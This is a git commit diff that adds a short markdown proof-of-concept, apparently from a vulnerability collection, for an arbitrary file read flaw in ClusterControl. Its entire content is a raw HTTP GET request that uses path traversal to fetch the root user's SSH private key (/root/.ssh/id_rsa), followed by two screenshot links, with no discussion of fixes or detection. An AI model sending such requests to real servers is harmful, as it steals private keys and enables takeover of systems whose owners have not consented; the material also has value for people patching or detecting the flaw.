整理文件

2024-08-21 15:08:43 +08:00
parent fcad930af3
commit 299ba35f30
1043 changed files with 0 additions and 3 deletions
--- a/ClusterControl/ClusterControl存在任意文件读取漏洞.md
+++ b/ClusterControl/ClusterControl存在任意文件读取漏洞.md
@@ -0,0 +1,16 @@
+# ClusterControl存在任意文件读取漏洞
+
+
+
+## poc
+
+```yaml
+GET /../../../../../../../../..//root/.ssh/id_rsa HTTP/1.1
+Host: 
+Accept-Encoding: identity
+User-Agent: python-urllib3/1.26.4
+```
+
+![image.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408011932688.png)
+
+![image.png](https://sydgz2-1310358933.cos.ap-guangzhou.myqcloud.com/pic/202408011932059.png)